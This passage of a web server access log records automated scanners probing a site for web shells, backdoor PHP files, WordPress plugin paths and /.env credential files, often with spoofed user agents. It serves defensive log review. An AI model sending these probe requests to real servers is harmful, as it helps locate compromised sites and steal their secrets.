/ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 203.159.90.25 - - [22/Jan/2026:05:13:21 +0300] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 203.159.90.25 - - [22/Jan/2026:05:13:21 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 203.159.90.25 - - [22/Jan/2026:05:13:31 +0300] "POST /alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 13.75.196.230 - - [22/Jan/2026:05:13:43 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 13.75.196.230 - - [22/Jan/2026:05:14:15 +0300] "GET /rh1.php HTTP/1.1" 301 795 "-" "-" 13.75.196.230 - - [22/Jan/2026:05:15:11 +0300] "GET /system/logs/scorpiol.php HTTP/1.1" 301 795 "-" "-" 13.75.196.230 - - [22/Jan/2026:05:15:26 +0300] "GET /maul.php HTTP/1.1" 301 795 "-" "-" 13.75.196.230 - - [22/Jan/2026:05:15:41 +0300] "GET /protected/i.php HTTP/1.1" 301 795 "-" "-" 13.75.196.230 - - [22/Jan/2026:05:15:57 +0300] "GET /ru/adminer/adminer474.php HTTP/1.1" 301 795 "-" "-" 13.75.196.230 - - [22/Jan/2026:05:16:11 +0300] "GET /download.php HTTP/1.1" 301 795 "-" "-" 13.75.196.230 - - [22/Jan/2026:05:16:43 +0300] "GET /assets/authorize.php HTTP/1.1" 301 795 "-" "-" 13.75.196.230 - - [22/Jan/2026:05:16:59 +0300] "GET /tt.php HTTP/1.1" 301 795 "-" "-" 199.45.155.79 - - [22/Jan/2026:05:49:54 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 23.101.220.75 - - [22/Jan/2026:07:27:32 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 49.233.45.47 - - [22/Jan/2026:08:02:26 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.153.104.196 - - [22/Jan/2026:06:53:04 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 206.168.34.120 - - [22/Jan/2026:07:20:39 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 45.148.10.124 - - [22/Jan/2026:07:49:10 +0300] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; U; Linux arm7tdmi; rv:1.8.1.11) Gecko/20071130 Minimo/0.025" 43.165.67.57 - - [22/Jan/2026:07:49:15 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 185.247.137.189 - - [22/Jan/2026:08:29:19 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; InternetMeasurement/1.0; +https://internet-measurement.com/)" 62.182.204.81 - - [22/Jan/2026:08:49:40 +0300] "GET //wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 220.181.51.85 - - [22/Jan/2026:10:38:57 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36" 220.181.51.120 - - [22/Jan/2026:10:38:38 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36" 98.98.100.227 - - [22/Jan/2026:10:51:02 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0" 69.171.231.14 - - [22/Jan/2026:12:35:58 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 43.130.60.195 - - [22/Jan/2026:13:07:49 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 45.154.98.111 - - [22/Jan/2026:13:10:32 +0300] "POST /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 45.154.98.111 - - [22/Jan/2026:13:10:32 +0300] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 197.155.95.4 - - [22/Jan/2026:12:47:52 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36" 45.154.98.111 - - [22/Jan/2026:13:10:32 +0300] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 45.154.98.111 - - [22/Jan/2026:13:10:32 +0300] "POST /wp-plain.php HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 45.154.98.111 - - [22/Jan/2026:13:10:32 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 45.154.98.111 - - [22/Jan/2026:13:10:52 +0300] "POST /alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 2.58.56.55 - - [22/Jan/2026:13:42:34 +0300] "GET /style.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 172.174.112.224 - - [22/Jan/2026:14:07:37 +0300] "GET /file/function.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 172.174.112.224 - - [22/Jan/2026:14:08:14 +0300] "GET /files/home.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 49.7.227.204 - - [22/Jan/2026:14:24:34 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.157.149.188 - - [22/Jan/2026:14:00:29 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 103.153.183.1 - - [22/Jan/2026:14:05:52 +0300] "GET /uploaded_script.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 172.174.112.224 - - [22/Jan/2026:14:07:25 +0300] "GET /go.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 173.252.107.25 - - [22/Jan/2026:14:07:57 +0300] "GET / HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 172.174.112.224 - - [22/Jan/2026:14:08:09 +0300] "GET /luuf.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 199.244.88.228 - - [22/Jan/2026:14:25:29 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 92.255.85.73 - - [22/Jan/2026:16:25:08 +0300] "GET / HTTP/1.0" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Avast/131.0.0.0" 91.92.41.24 - - [22/Jan/2026:16:42:01 +0300] "GET /.env HTTP/1.1" 301 795 "-" "python-requests/2.26.0" 91.92.41.24 - - [22/Jan/2026:16:42:03 +0300] "POST / HTTP/1.1" 301 795 "-" "python-requests/2.26.0" 92.255.85.77 - - [22/Jan/2026:18:33:13 +0300] "GET / HTTP/1.0" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 CCleaner/130.0.0.0" 114.142.178.154 - - [22/Jan/2026:17:55:51 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 116.76.38.134 - - [22/Jan/2026:18:21:57 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3995.42 Safari/537.36 SE 2.X MetaSr 1.0" 43.153.204.189 - - [22/Jan/2026:18:53:43 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 193.37.32.106 - - [22/Jan/2026:19:28:18 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.137 - - [22/Jan/2026:19:28:27 +0300] "GET /wp-links-opml.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.152 - - [22/Jan/2026:19:27:57 +0300] "GET /wp-confiq.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.152 - - [22/Jan/2026:19:28:02 +0300] "GET /nrhogjyecktixbal0fnt5Cakc.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.149 - - [22/Jan/2026:19:28:07 +0300] "GET /manager.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.153 - - [22/Jan/2026:19:28:12 +0300] "GET /znv3hcxz6mwjdz1jwxrxiCakc.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.143 - - [22/Jan/2026:19:28:23 +0300] "GET /form.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.144 - - [22/Jan/2026:19:28:33 +0300] "GET /new4.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.176 - - [22/Jan/2026:19:28:37 +0300] "GET /abcd.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.176 - - [22/Jan/2026:19:28:42 +0300] "GET /uk5pqv0wksbuaourleCakc.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.176 - - [22/Jan/2026:19:28:47 +0300] "GET /aa.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.176 - - [22/Jan/2026:19:28:52 +0300] "GET /wp-content/uploads/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.176 - - [22/Jan/2026:19:28:57 +0300] "GET /wp-admin/shell.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.176 - - [22/Jan/2026:19:29:02 +0300] "GET /new.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.176 - - [22/Jan/2026:19:29:07 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.176 - - [22/Jan/2026:19:29:12 +0300] "GET /test1.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.176 - - [22/Jan/2026:19:29:17 +0300] "GET /nc4.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.176 - - [22/Jan/2026:19:29:22 +0300] "GET /num.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.176 - - [22/Jan/2026:19:29:28 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.176 - - [22/Jan/2026:19:29:32 +0300] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.176 - - [22/Jan/2026:19:29:37 +0300] "GET /wp-content/plugins/aatdgetgdg/main.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.176 - - [22/Jan/2026:19:29:42 +0300] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.176 - - [22/Jan/2026:19:29:47 +0300] "GET /filemanager.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.176 - - [22/Jan/2026:19:29:52 +0300] "GET /wp-admin/network/cache/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.176 - - [22/Jan/2026:19:29:57 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.176 - - [22/Jan/2026:19:30:02 +0300] "GET /upload/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.176 - - [22/Jan/2026:19:30:04 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.176 - - [22/Jan/2026:19:30:09 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.176 - - [22/Jan/2026:19:30:11 +0300] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.176 - - [22/Jan/2026:19:30:12 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.176 - - [22/Jan/2026:19:30:18 +0300] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.176 - - [22/Jan/2026:19:30:22 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.176 - - [22/Jan/2026:19:30:24 +0300] "GET /5PJcpMFsD8B.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.176 - - [22/Jan/2026:19:30:29 +0300] "GET /abcd.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.176 - - [22/Jan/2026:19:30:34 +0300] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.176 - - [22/Jan/2026:19:30:36 +0300] "GET /wp-admin/css.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.176 - - [22/Jan/2026:19:30:41 +0300] "GET /wp-good.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.176 - - [22/Jan/2026:19:30:46 +0300] "GET /wp-content/lock360.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.176 - - [22/Jan/2026:19:30:51 +0300] "GET /wp-includes/themes.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.176 - - [22/Jan/2026:19:30:56 +0300] "GET /wp-content/updates.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.176 - - [22/Jan/2026:19:31:02 +0300] "GET /wp-content/plugins/so-pinyin-slugs/inc/main_json.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.176 - - [22/Jan/2026:19:31:06 +0300] "GET /wp-content/plugins/revslider/includes/external/page/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.176 - - [22/Jan/2026:19:31:11 +0300] "GET /wp-includes/blocks/code/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:33:23 +0300] "GET /bolt.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:33:28 +0300] "GET /wp-content/themes/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:33:33 +0300] "GET /wp-content/themes/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:33:38 +0300] "GET /wp-admin/classwithtostring.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:33:43 +0300] "GET /function/function.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:33:47 +0300] "GET /buy.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:33:52 +0300] "GET /wp-includes/Text/Diff/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:33:53 +0300] "GET /wp-content/areak1.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:33:59 +0300] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:34:00 +0300] "GET /ufbngowues/main.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:34:05 +0300] "GET /shell3.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:34:10 +0300] "GET /wp-content/plugins/elementor/includes/template-singl-portfolio.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:34:16 +0300] "GET /radio.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:34:20 +0300] "GET /wp-content/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:34:25 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:34:30 +0300] "GET /wp-includes/blocks/audio/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:34:31 +0300] "GET /worksec.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:34:36 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:34:41 +0300] "GET /we.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:34:46 +0300] "GET /wp-signin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:34:51 +0300] "GET /wp-includes/Requests/library/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:34:53 +0300] "GET /wp-content/admin-header.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:34:58 +0300] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:35:03 +0300] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:35:05 +0300] "GET /wp-content/222.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:35:10 +0300] "GET /s.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:35:15 +0300] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:35:20 +0300] "GET /system_log.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:35:25 +0300] "GET /item.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:35:30 +0300] "GET /wp-includes/blocks/post-terms/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:35:33 +0300] "GET /wp-content/languages/themes/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:35:38 +0300] "GET /wp-includes/css/dist/block-library/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:35:40 +0300] "GET /wp-includes/css/dist/components/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:35:41 +0300] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:35:42 +0300] "GET /wp-content/packed.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:35:47 +0300] "GET /wp-content/themes/news-portal/error.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:35:52 +0300] "GET /wp-content/themes/404.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:35:57 +0300] "GET /wp-includes/blocks/comment-content/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:35:58 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:35:59 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:36:04 +0300] "GET /a.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:36:09 +0300] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:36:11 +0300] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:36:12 +0300] "GET /hplfuns.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:36:17 +0300] "GET /wp-content/languages/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:36:22 +0300] "GET /x.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:36:27 +0300] "GET /wp-includes/js/jcrop/Jcrop.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:36:32 +0300] "GET /about/function.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:36:37 +0300] "GET /wp-includes/blocks/search/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:36:38 +0300] "GET /wp-includes/Text/Diff/Engine/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:36:39 +0300] "GET /wp-content/plugins/Iitespeed-cache/157.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:36:44 +0300] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:36:45 +0300] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:36:46 +0300] "GET /wp-content/uploads/2024/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:36:47 +0300] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:36:48 +0300] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:36:51 +0300] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:36:56 +0300] "GET /wp-content/themes/theme-check/main.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:37:01 +0300] "GET /chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:37:06 +0300] "GET /wp-includes/assets/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:37:11 +0300] "GET /wp-includes/blocks/archives/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:37:12 +0300] "GET /wp-includes/blocks/nextpage/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:37:16 +0300] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:37:18 +0300] "GET /wp-includes/blocks/column/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:37:19 +0300] "GET /wp-includes/blocks/calendar/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:37:19 +0300] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:37:21 +0300] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:37:22 +0300] "GET /wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.110 - - [22/Jan/2026:19:37:25 +0300] "GET / HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.167 - - [22/Jan/2026:19:33:07 +0300] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.176 - - [22/Jan/2026:19:31:12 +0300] "GET /3PJcpMFsD8B.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.176 - - [22/Jan/2026:19:31:17 +0300] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.176 - - [22/Jan/2026:19:31:18 +0300] "GET /class.api.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.176 - - [22/Jan/2026:19:31:23 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.176 - - [22/Jan/2026:19:31:28 +0300] "GET /bless.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.176 - - [22/Jan/2026:19:31:33 +0300] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.176 - - 